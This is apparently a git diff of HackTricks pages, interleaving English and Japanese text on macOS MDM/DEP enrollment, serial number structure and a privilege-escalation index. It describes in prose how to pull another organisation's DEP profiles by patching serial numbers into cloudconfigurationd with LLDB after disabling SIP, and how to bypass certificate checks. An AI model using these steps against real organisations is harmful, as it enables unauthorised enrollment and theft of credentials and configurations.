- Enables devices to autonomously register with a pre-defined MDM server upon initial activation.
- Primarily beneficial for brand-new devices, but also applicable for devices undergoing reconfiguration.
- Facilitates a straightforward setup, making devices ready for organizational use swiftly.
- デバイスが初回起動時に事前定義されたMDMサーバーに自動的に登録されることを可能にします。
- 主に新しいデバイスに有益ですが、再構成中のデバイスにも適用可能です。
- 簡単なセットアップを促進し、デバイスを迅速に組織で使用できるようにします。
### **Security Consideration**
### **セキュリティの考慮事項**
It's crucial to note that the ease of enrollment provided by DEP, while beneficial, can also pose security risks. If protective measures are not adequately enforced for MDM enrollment, attackers might exploit this streamlined process to register their device on the organization's MDM server, masquerading as a corporate device.
DEPによって提供される登録の容易さは有益ですが、セキュリティリスクをもたらす可能性があることに注意が必要です。MDM登録に対する保護措置が適切に施されていない場合、攻撃者はこの簡素化されたプロセスを利用して、自分のデバイスを組織のMDMサーバーに登録し、企業デバイスを装う可能性があります。
> [!CAUTION]
> **Security Alert**: Simplified DEP enrollment could potentially allow unauthorized device registration on the organization's MDM server if proper safeguards are not in place.
> **セキュリティ警告**: 簡素化されたDEP登録は、適切な保護策が講じられていない場合、組織のMDMサーバーに対する不正なデバイス登録を許可する可能性があります。
### Basics What is SCEP (Simple Certificate Enrolment Protocol)?
### SCEP (シンプル証明書登録プロトコル) とは？
- A relatively old protocol, created before TLS and HTTPS were widespread.
- Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate. The client will ask the server to give him a signed certificate.
- TLSやHTTPSが広まる前に作成された比較的古いプロトコルです。
- クライアントが証明書を取得するために**証明書署名要求**（CSR）を送信する標準化された方法を提供します。クライアントはサーバーに署名された証明書を要求します。
### What are Configuration Profiles (aka mobileconfigs)?
### 構成プロファイル（別名mobileconfigs）とは？
- Apple’s official way of **setting/enforcing system configuration.**
- File format that can contain multiple payloads.
- Based on property lists (the XML kind).
- “can be signed and encrypted to validate their origin, ensure their integrity, and protect their contents.” Basics — Page 70, iOS Security Guide, January 2018.
- Appleの公式な**システム構成の設定/強制方法**です。
- 複数のペイロードを含むことができるファイル形式です。
- プロパティリスト（XML形式）に基づいています。
- 「その起源を検証し、整合性を確保し、内容を保護するために署名および暗号化できます。」 基本 — ページ70, iOSセキュリティガイド, 2018年1月。
## Protocols
## プロトコル
### MDM
- Combination of APNs (**Apple server**s) + RESTful API (**MDM** **vendor** servers)
- **Communication** occurs between a **device** and a server associated with a **device** **management** **product**
- **Commands** delivered from the MDM to the device in **plist-encoded dictionaries**
- All over **HTTPS**. MDM servers can be (and are usually) pinned.
- Apple grants the MDM vendor an **APNs certificate** for authentication
- APNs（**Appleサーバー**） + RESTful API（**MDM** **ベンダー**サーバー）の組み合わせ
- **通信**は**デバイス**と**デバイス管理製品**に関連するサーバーの間で行われます
- **コマンド**はMDMからデバイスに**plistエンコードされた辞書**で送信されます
- すべて**HTTPS**経由です。MDMサーバーは（通常）ピン留めされます。
- AppleはMDMベンダーに**APNs証明書**を認証用に付与します
### DEP
- **3 APIs**: 1 for resellers, 1 for MDM vendors, 1 for device identity (undocumented):
- The so-called [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). This is used by MDM servers to associate DEP profiles with specific devices.
- The [DEP API used by Apple Authorized Resellers](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) to enroll devices, check enrollment status, and check transaction status.
- The undocumented private DEP API. This is used by Apple Devices to request their DEP profile. On macOS, the `cloudconfigurationd` binary is responsible for communicating over this API.
- More modern and **JSON** based (vs. plist)
- Apple grants an **OAuth token** to the MDM vendor
- **3つのAPI**: 1つはリセラー用、1つはMDMベンダー用、1つはデバイスID用（未文書）：
- いわゆる[DEP "クラウドサービス" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)。これはMDMサーバーが特定のデバイスにDEPプロファイルを関連付けるために使用されます。
- [Apple認定リセラーが使用するDEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html)は、デバイスを登録し、登録状況を確認し、取引状況を確認します。
- 未文書のプライベートDEP API。これはAppleデバイスが自分のDEPプロファイルを要求するために使用されます。macOSでは、`cloudconfigurationd`バイナリがこのAPIを介して通信する責任があります。
- より現代的で**JSON**ベース（vs. plist）
- AppleはMDMベンダーに**OAuthトークン**を付与します
**DEP "cloud service" API**
**DEP "クラウドサービス" API**
- RESTful
- sync device records from Apple to the MDM server
- sync “DEP profiles” to Apple from the MDM server (delivered by Apple to the device later on)
- A DEP “profile” contains:
- MDM vendor server URL
- Additional trusted certificates for server URL (optional pinning)
- Extra settings (e.g. which screens to skip in Setup Assistant)
- AppleからMDMサーバーへのデバイスレコードの同期
- MDMサーバーからAppleへの「DEPプロファイル」の同期（後でデバイスに配信される）
- DEP「プロファイル」には以下が含まれます：
- MDMベンダーサーバーのURL
- サーバーURL用の追加の信頼された証明書（オプションのピン留め）
- 追加の設定（例：セットアップアシスタントでスキップする画面）
## Serial Number
## シリアル番号
Apple devices manufactured after 2010 generally have **12-character alphanumeric** serial numbers, with the **first three digits representing the manufacturing location**, the following **two** indicating the **year** and **week** of manufacture, the next **three** digits providing a **unique** **identifier**, and the **last** **four** digits representing the **model number**.
2010年以降に製造されたAppleデバイスは一般的に**12文字の英数字**のシリアル番号を持ち、**最初の3桁は製造場所**を表し、次の**2桁**は**製造年**と**週**を示し、次の**3桁**は**ユニークな識別子**を提供し、**最後の4桁**は**モデル番号**を表します。
{{#ref}}
macos-serial-number.md
{{#endref}}
## Steps for enrolment and management
## 登録と管理の手順
1. Device record creation (Reseller, Apple): The record for the new device is created
2. Device record assignment (Customer): The device is assigned to a MDM server
3. Device record sync (MDM vendor): MDM sync the device records and push the DEP profiles to Apple
4. DEP check-in (Device): Device gets his DEP profile
5. Profile retrieval (Device)
6. Profile installation (Device) a. incl. MDM, SCEP and root CA payloads
7. MDM command issuance (Device)
1. デバイスレコードの作成（リセラー、Apple）：新しいデバイスのレコードが作成されます
2. デバイスレコードの割り当て（顧客）：デバイスがMDMサーバーに割り当てられます
3. デバイスレコードの同期（MDMベンダー）：MDMがデバイスレコードを同期し、DEPプロファイルをAppleにプッシュします
4. DEPチェックイン（デバイス）：デバイスがDEPプロファイルを取得します
5. プロファイルの取得（デバイス）
6. プロファイルのインストール（デバイス） a. MDM、SCEP、およびルートCAペイロードを含む
7. MDMコマンドの発行（デバイス）
![](<../../../images/image (694).png>)
The file `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` exports functions that can be considered **high-level "steps"** of the enrolment process.
ファイル`/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd`は、登録プロセスの**高レベルの「ステップ」**と見なされる関数をエクスポートします。
### Step 4: DEP check-in - Getting the Activation Record
### ステップ4: DEPチェックイン - アクティベーションレコードの取得
This part of the process occurs when a **user boots a Mac for the first time** (or after a complete wipe)
このプロセスの一部は、**ユーザーが初めてMacを起動したとき**（または完全にワイプした後）に発生します。
![](<../../../images/image (1044).png>)
or when executing `sudo profiles show -type enrollment`
または`sudo profiles show -type enrollment`を実行したとき。
- Determine **whether device is DEP enabled**
- Activation Record is the internal name for **DEP “profile”**
- Begins as soon as the device is connected to Internet
- Driven by **`CPFetchActivationRecord`**
- Implemented by **`cloudconfigurationd`** via XPC. The **"Setup Assistant**" (when the device is firstly booted) or the **`profiles`** command will **contact this daemon** to retrieve the activation record.
- LaunchDaemon (always runs as root)
- **デバイスがDEP対応かどうかを判断**
- アクティベーションレコードは**DEP「プロファイル」**の内部名です
- デバイスがインターネットに接続されるとすぐに始まります
- **`CPFetchActivationRecord`**によって駆動されます
- **`cloudconfigurationd`**によってXPCを介して実装されます。デバイスが初めて起動されたときの**「セットアップアシスタント」**または**`profiles`**コマンドがこのデーモンに連絡してアクティベーションレコードを取得します。
- LaunchDaemon（常にrootとして実行）
It follows a few steps to get the Activation Record performed by **`MCTeslaConfigurationFetcher`**. This process uses an encryption called **Absinthe**
アクティベーションレコードを取得するために**`MCTeslaConfigurationFetcher`**によって実行されるいくつかのステップに従います。このプロセスは**Absinthe**という暗号化を使用します。
1. Retrieve **certificate**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. **Initialize** state from certificate (**`NACInit`**)
1. Uses various device-specific data (i.e. **Serial Number via `IOKit`**)
3. Retrieve **session key**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. Establish the session (**`NACKeyEstablishment`**)
5. Make the request
1. POST to [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) sending the data `{ "action": "RequestProfileConfiguration", "sn": "" }`
2. The JSON payload is encrypted using Absinthe (**`NACSign`**)
3. All requests over HTTPs, built-in root certificates are used
1. **証明書を取得**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
2. **証明書から状態を初期化**（**`NACInit`**）
1. 様々なデバイス固有のデータを使用します（例：**シリアル番号を`IOKit`経由で**）
3. **セッションキーを取得**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
4. セッションを確立（**`NACKeyEstablishment`**）
5. リクエストを行う
1. POST [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile)にデータ`{ "action": "RequestProfileConfiguration", "sn": "" }`を送信
2. JSONペイロードはAbsintheを使用して暗号化されます（**`NACSign`**）
3. すべてのリクエストはHTTPs経由で行われ、組み込みのルート証明書が使用されます
![](<../../../images/image (566) (1).png>)
The response is a JSON dictionary with some important data like:
レスポンスは、以下のような重要なデータを含むJSON辞書です：
- **url**: URL of the MDM vendor host for the activation profile
- **anchor-certs**: Array of DER certificates used as trusted anchors
- **url**: アクティベーションプロファイルのためのMDMベンダーホストのURL
- **anchor-certs**: 信頼されたアンカーとして使用されるDER証明書の配列
### **Step 5: Profile Retrieval**
### **ステップ5: プロファイルの取得**
![](<../../../images/image (444).png>)
- Request sent to **url provided in DEP profile**.
- **Anchor certificates** are used to **evaluate trust** if provided.
- Reminder: the **anchor_certs** property of the DEP profile
- **Request is a simple .plist** with device identification
- Examples: **UDID, OS version**.
- CMS-signed, DER-encoded
- Signed using the **device identity certificate (from APNS)**
- **Certificate chain** includes expired **Apple iPhone Device CA**
- **DEPプロファイルで提供されたurl**にリクエストが送信されます。
- 提供された場合、**アンカー証明書**が**信頼性を評価**するために使用されます。
- リマインダー: **DEPプロファイルのanchor_certsプロパティ**
- **リクエストはデバイス識別を含むシンプルな.plist**です
- 例: **UDID、OSバージョン**。
- CMS署名、DERエンコード
- **デバイスID証明書（APNSからの）**を使用して署名されます。
- **証明書チェーン**には期限切れの**Apple iPhone Device CA**が含まれます。
![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
### Step 6: Profile Installation
### ステップ6: プロファイルのインストール
- Once retrieved, **profile is stored on the system**
- This step begins automatically (if in **setup assistant**)
- Driven by **`CPInstallActivationProfile`**
- Implemented by mdmclient over XPC
- LaunchDaemon (as root) or LaunchAgent (as user), depending on context
- Configuration profiles have multiple payloads to install
- Framework has a plugin-based architecture for installing profiles
- Each payload type is associated with a plugin
- Can be XPC (in framework) or classic Cocoa (in ManagedClient.app)
- Example:
- Certificate Payloads use CertificateService.xpc
- 取得後、**プロファイルはシステムに保存されます**
- このステップは自動的に開始されます（**セットアップアシスタント**にいる場合）
- **`CPInstallActivationProfile`**によって駆動されます
- XPCを介してmdmclientによって実装されます
- LaunchDaemon（rootとして）またはLaunchAgent（ユーザーとして）、コンテキストに応じて
- 構成プロファイルにはインストールする複数のペイロードがあります
- フレームワークはプロファイルをインストールするためのプラグインベースのアーキテクチャを持っています
- 各ペイロードタイプはプラグインに関連付けられています
- XPC（フレームワーク内）または従来のCocoa（ManagedClient.app内）である可能性があります
- 例：
- 証明書ペイロードはCertificateService.xpcを使用します
Typically, **activation profile** provided by an MDM vendor will **include the following payloads**:
通常、MDMベンダーが提供する**アクティベーションプロファイル**には**以下のペイロード**が含まれます：
- `com.apple.mdm`: to **enroll** the device in MDM
- `com.apple.security.scep`: to securely provide a **client certificate** to the device.
- `com.apple.security.pem`: to **install trusted CA certificates** to the device’s System Keychain.
- Installing the MDM payload equivalent to **MDM check-in in the documentation**
- Payload **contains key properties**:
- - MDM Check-In URL (**`CheckInURL`**)
- MDM Command Polling URL (**`ServerURL`**) + APNs topic to trigger it
- To install MDM payload, request is sent to **`CheckInURL`**
- Implemented in **`mdmclient`**
- MDM payload can depend on other payloads
- Allows **requests to be pinned to specific certificates**:
- Property: **`CheckInURLPinningCertificateUUIDs`**
- Property: **`ServerURLPinningCertificateUUIDs`**
- Delivered via PEM payload
- Allows device to be attributed with an identity certificate:
- Property: IdentityCertificateUUID
- Delivered via SCEP payload
- `com.apple.mdm`: デバイスをMDMに**登録**するため
- `com.apple.security.scep`: デバイスに**クライアント証明書**を安全に提供するため。
- `com.apple.security.pem`: デバイスのシステムキーチェーンに**信頼されたCA証明書**をインストールするため。
- MDMペイロードのインストールは、文書内の**MDMチェックイン**に相当します。
- ペイロードには**主要なプロパティ**が含まれます：
- - MDMチェックインURL（**`CheckInURL`**）
- MDMコマンドポーリングURL（**`ServerURL`**） + それをトリガーするAPNsトピック
- MDMペイロードをインストールするために、リクエストが**`CheckInURL`**に送信されます
- **`mdmclient`**で実装されています
- MDMペイロードは他のペイロードに依存することがあります
- 特定の証明書にリクエストをピン留めすることを許可します：
- プロパティ：**`CheckInURLPinningCertificateUUIDs`**
- プロパティ：**`ServerURLPinningCertificateUUIDs`**
- PEMペイロードを介して配信されます
- デバイスにアイデンティティ証明書を付与することを許可します：
- プロパティ：IdentityCertificateUUID
- SCEPペイロードを介して配信されます
### **Step 7: Listening for MDM commands**
### **ステップ7: MDMコマンドのリスニング**
- After MDM check-in is complete, vendor can **issue push notifications using APNs**
- Upon receipt, handled by **`mdmclient`**
- To poll for MDM commands, request is sent to ServerURL
- Makes use of previously installed MDM payload:
- **`ServerURLPinningCertificateUUIDs`** for pinning request
- **`IdentityCertificateUUID`** for TLS client certificate
- MDMチェックインが完了した後、ベンダーは**APNsを使用してプッシュ通知を発行**できます
- 受信時、**`mdmclient`**によって処理されます
- MDMコマンドをポーリングするために、リクエストがServerURLに送信されます
- 以前にインストールされたMDMペイロードを利用します：
- **`ServerURLPinningCertificateUUIDs`**によるリクエストのピン留め
- **`IdentityCertificateUUID`**によるTLSクライアント証明書
## Attacks
## 攻撃
### Enrolling Devices in Other Organisations
### 他の組織へのデバイスの登録
As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected:
前述のように、デバイスを組織に登録しようとするには、**その組織に属するシリアル番号のみが必要**です。デバイスが登録されると、いくつかの組織は新しいデバイスに機密データをインストールします：証明書、アプリケーション、WiFiパスワード、VPN設定など[こちら](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)を参照してください。\
したがって、登録プロセスが適切に保護されていない場合、これは攻撃者にとって危険な入り口となる可能性があります：
{{#ref}}
enrolling-devices-in-other-organisations.md

56
src/macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md
View File

@ -1,53 +1,53 @@
# Enrolling Devices in Other Organisations
# 他の組織へのデバイスの登録
{{#include ../../../banners/hacktricks-training.md}}
## Intro
## はじめに
As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected.
[**以前にコメントしたように**](./#what-is-mdm-mobile-device-management)**、**デバイスを組織に登録するためには、**その組織に属するシリアル番号のみが必要です**。デバイスが登録されると、いくつかの組織が新しいデバイスに機密データをインストールします：証明書、アプリケーション、WiFiパスワード、VPN設定[など](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\
したがって、登録プロセスが適切に保護されていない場合、これは攻撃者にとって危険な入り口となる可能性があります。
**The following is a summary of the research [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Check it for further technical details!**
**以下は、研究の要約です[https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)。さらなる技術的詳細については確認してください！**
## Overview of DEP and MDM Binary Analysis
## DEPとMDMバイナリ分析の概要
This research delves into the binaries associated with the Device Enrollment Program (DEP) and Mobile Device Management (MDM) on macOS. Key components include:
この研究は、macOS上のデバイス登録プログラム（DEP）およびモバイルデバイス管理（MDM）に関連するバイナリに深く掘り下げています。主要なコンポーネントは以下の通りです：
- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4.
- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later.
- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles.
- **`mdmclient`**：MDMサーバーと通信し、macOSバージョン10.13.4以前でのDEPチェックインをトリガーします。
- **`profiles`**：構成プロファイルを管理し、macOSバージョン10.13.4以降でのDEPチェックインをトリガーします。
- **`cloudconfigurationd`**：DEP API通信を管理し、デバイス登録プロファイルを取得します。
DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC.
DEPチェックインは、プライベート構成プロファイルフレームワークからの`CPFetchActivationRecord`および`CPGetActivationRecord`関数を利用してアクティベーションレコードを取得し、`CPFetchActivationRecord`がXPCを介して`cloudconfigurationd`と調整します。
## Tesla Protocol and Absinthe Scheme Reverse Engineering
## TeslaプロトコルとAbsintheスキームのリバースエンジニアリング
The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request.
DEPチェックインは、`cloudconfigurationd`が暗号化された署名付きJSONペイロードを_iprofiles.apple.com/macProfile_に送信することを含みます。ペイロードにはデバイスのシリアル番号と「RequestProfileConfiguration」というアクションが含まれています。使用される暗号化スキームは内部的に「Absinthe」と呼ばれています。このスキームを解明することは複雑で、多くのステップを含み、アクティベーションレコードリクエストに任意のシリアル番号を挿入するための代替手法を探ることにつながりました。
## Proxying DEP Requests
## DEPリクエストのプロキシ
Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key.
Charles Proxyのようなツールを使用して_iprofiles.apple.com_へのDEPリクエストを傍受し、変更しようとする試みは、ペイロードの暗号化とSSL/TLSセキュリティ対策によって妨げられました。しかし、`MCCloudConfigAcceptAnyHTTPSCertificate`構成を有効にすることで、サーバー証明書の検証をバイパスすることが可能ですが、ペイロードの暗号化された性質により、復号化キーなしでシリアル番号を変更することは依然として不可能です。
## Instrumenting System Binaries Interacting with DEP
## DEPと相互作用するシステムバイナリの計測
Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing.
`cloudconfigurationd`のようなシステムバイナリを計測するには、macOSでシステム整合性保護（SIP）を無効にする必要があります。SIPが無効になっている場合、LLDBのようなツールを使用してシステムプロセスにアタッチし、DEP APIとの相互作用で使用されるシリアル番号を変更する可能性があります。この方法は、権限やコード署名の複雑さを回避できるため、好ましいです。
**Exploiting Binary Instrumentation:**
Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved:
**バイナリ計測の悪用：**
`cloudconfigurationd`でJSONシリアル化の前にDEPリクエストペイロードを変更することが効果的であることが証明されました。このプロセスには以下が含まれます：
1. Attaching LLDB to `cloudconfigurationd`.
2. Locating the point where the system serial number is fetched.
3. Injecting an arbitrary serial number into the memory before the payload is encrypted and sent.
1. `cloudconfigurationd`にLLDBをアタッチします。
2. システムシリアル番号が取得されるポイントを特定します。
3. ペイロードが暗号化されて送信される前に、メモリに任意のシリアル番号を注入します。
This method allowed for retrieving complete DEP profiles for arbitrary serial numbers, demonstrating a potential vulnerability.
この方法により、任意のシリアル番号に対して完全なDEPプロファイルを取得できることが示され、潜在的な脆弱性が明らかになりました。
### Automating Instrumentation with Python
### Pythonによる計測の自動化
The exploitation process was automated using Python with the LLDB API, making it feasible to programmatically inject arbitrary serial numbers and retrieve corresponding DEP profiles.
悪用プロセスは、LLDB APIを使用してPythonで自動化され、任意のシリアル番号をプログラム的に注入し、対応するDEPプロファイルを取得することが可能になりました。
### Potential Impacts of DEP and MDM Vulnerabilities
### DEPとMDMの脆弱性の潜在的影響
The research highlighted significant security concerns:
この研究は、重要なセキュリティ上の懸念を浮き彫りにしました：
1. **Information Disclosure**: By providing a DEP-registered serial number, sensitive organizational information contained in the DEP profile can be retrieved.
1. **情報漏洩**：DEPに登録されたシリアル番号を提供することで、DEPプロファイルに含まれる機密の組織情報を取得できます。
{{#include ../../../banners/hacktricks-training.md}}

50
src/macos-hardening/macos-red-teaming/macos-mdm/macos-serial-number.md
View File

@ -1,40 +1,40 @@
# macOS Serial Number
# macOS シリアル番号
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
Apple devices post-2010 have serial numbers consisting of **12 alphanumeric characters**, each segment conveying specific information:
2010年以降のAppleデバイスのシリアル番号は、**12の英数字**で構成されており、各セグメントは特定の情報を伝えます：
- **First 3 Characters**: Indicate the **manufacturing location**.
- **Characters 4 & 5**: Denote the **year and week of manufacture**.
- **Characters 6 to 8**: Serve as a **unique identifier** for each device.
- **Last 4 Characters**: Specify the **model number**.
- **最初の3文字**: **製造場所**を示します。
- **4文字目と5文字目**: **製造年と週**を示します。
- **6文字目から8文字目**: 各デバイスのための**ユニーク識別子**として機能します。
- **最後の4文字**: **モデル番号**を指定します。
For instance, the serial number **C02L13ECF8J2** follows this structure.
例えば、シリアル番号**C02L13ECF8J2**はこの構造に従っています。
### **Manufacturing Locations (First 3 Characters)**
### **製造場所（最初の3文字）**
Certain codes represent specific factories:
特定のコードは特定の工場を表します：
- **FC, F, XA/XB/QP/G8**: Various locations in the USA.
- **RN**: Mexico.
- **CK**: Cork, Ireland.
- **VM**: Foxconn, Czech Republic.
- **SG/E**: Singapore.
- **MB**: Malaysia.
- **PT/CY**: Korea.
- **EE/QT/UV**: Taiwan.
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Different locations in China.
- **C0, C3, C7**: Specific cities in China.
- **RM**: Refurbished devices.
- **FC, F, XA/XB/QP/G8**: アメリカのさまざまな場所。
- **RN**: メキシコ。
- **CK**: アイルランドのコーク。
- **VM**: チェコ共和国のフォックスコン。
- **SG/E**: シンガポール。
- **MB**: マレーシア。
- **PT/CY**: 韓国。
- **EE/QT/UV**: 台湾。
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: 中国のさまざまな場所。
- **C0, C3, C7**: 中国の特定の都市。
- **RM**: 再生品デバイス。
### **Year of Manufacturing (4th Character)**
### **製造年（4文字目）**
This character varies from 'C' (representing the first half of 2010) to 'Z' (second half of 2019), with different letters indicating different half-year periods.
この文字は、'C'（2010年の前半を表す）から'Z'（2019年の後半）まで変化し、異なる文字が異なる半年を示します。
### **Week of Manufacturing (5th Character)**
### **製造週（5文字目）**
Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number.
数字1-9は週1-9に対応します。文字C-Y（母音と'S'を除く）は週10-27を表します。年の後半では、この数字に26が加算されます。
{{#include ../../../banners/hacktricks-training.md}}

98
src/macos-hardening/macos-security-and-privilege-escalation/README.md
View File

@ -1,33 +1,18 @@
# macOS Security & Privilege Escalation
# macOSのセキュリティと特権昇格
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
## 基本的なMacOS
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
macOSに不慣れな場合は、macOSの基本を学び始めるべきです：
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic MacOS
If you are not familiar with macOS, you should start learning the basics of macOS:
- Special macOS **files & permissions:**
- 特殊なmacOS **ファイルと権限：**
{{#ref}}
macos-files-folders-and-binaries/
{{#endref}}
- Common macOS **users**
- 一般的なmacOS **ユーザー**
{{#ref}}
macos-users.md
@ -39,112 +24,97 @@ macos-users.md
macos-applefs.md
{{#endref}}
- The **architecture** of the k**ernel**
- k**ernel**の**アーキテクチャ**
{{#ref}}
mac-os-architecture/
{{#endref}}
- Common macOS n**etwork services & protocols**
- 一般的なmacOS n**etworkサービスとプロトコル**
{{#ref}}
macos-protocols.md
{{#endref}}
- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- To download a `tar.gz` change a URL such as [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) to [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
- **オープンソース** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- `tar.gz`をダウンロードするには、[https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/)のようなURLを[https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)に変更します。
### MacOS MDM
In companies **macOS** systems are highly probably going to be **managed with a MDM**. Therefore, from the perspective of an attacker is interesting to know **how that works**:
企業では、**macOS**システムはMDMで**管理される**可能性が非常に高いです。したがって、攻撃者の視点からは、**それがどのように機能するか**を知ることが興味深いです：
{{#ref}}
../macos-red-teaming/macos-mdm/
{{#endref}}
### MacOS - Inspecting, Debugging and Fuzzing
### MacOS - 検査、デバッグ、ファジング
{{#ref}}
macos-apps-inspecting-debugging-and-fuzzing/
{{#endref}}
## MacOS Security Protections
## MacOSのセキュリティ保護
{{#ref}}
macos-security-protections/
{{#endref}}
## Attack Surface
## 攻撃面
### File Permissions
### ファイル権限
If a **process running as root writes** a file that can be controlled by a user, the user could abuse this to **escalate privileges**.\
This could occur in the following situations:
**rootとして実行されているプロセスが**ユーザーによって制御可能なファイルを書き込むと、ユーザーはこれを悪用して**特権を昇格**させることができます。\
これは以下の状況で発生する可能性があります：
- File used was already created by a user (owned by the user)
- File used is writable by the user because of a group
- File used is inside a directory owned by the user (the user could create the file)
- File used is inside a directory owned by root but user has write access over it because of a group (the user could create the file)
- 使用されたファイルがすでにユーザーによって作成されている（ユーザーが所有）
- 使用されたファイルがグループのためにユーザーによって書き込み可能
- 使用されたファイルがユーザーが所有するディレクトリ内にある（ユーザーがファイルを作成できる）
- 使用されたファイルがrootが所有するディレクトリ内にあるが、ユーザーがグループのために書き込みアクセスを持っている（ユーザーがファイルを作成できる）
Being able to **create a file** that is going to be **used by root**, allows a user to **take advantage of its content** or even create **symlinks/hardlinks** to point it to another place.
**rootによって使用される**ファイルを**作成する**ことができると、ユーザーはその**内容を利用する**ことができたり、別の場所を指す**シンボリックリンク/ハードリンク**を作成することができます。
For this kind of vulnerabilities don't forget to **check vulnerable `.pkg` installers**:
この種の脆弱性については、**脆弱な`.pkg`インストーラーを確認することを忘れないでください**：
{{#ref}}
macos-files-folders-and-binaries/macos-installers-abuse.md
{{#endref}}
### File Extension & URL scheme app handlers
### ファイル拡張子とURLスキームアプリハンドラー
Weird apps registered by file extensions could be abused and different applications can be register to open specific protocols
ファイル拡張子によって登録された奇妙なアプリは悪用される可能性があり、異なるアプリケーションが特定のプロトコルを開くために登録されることがあります。
{{#ref}}
macos-file-extension-apps.md
{{#endref}}
## macOS TCC / SIP Privilege Escalation
## macOS TCC / SIP特権昇格
In macOS **applications and binaries can have permissions** to access folders or settings that make them more privileged than others.
macOSでは、**アプリケーションとバイナリがフォルダーや設定にアクセスする権限を持つ**ことがあり、これにより他のものよりも特権が高くなります。
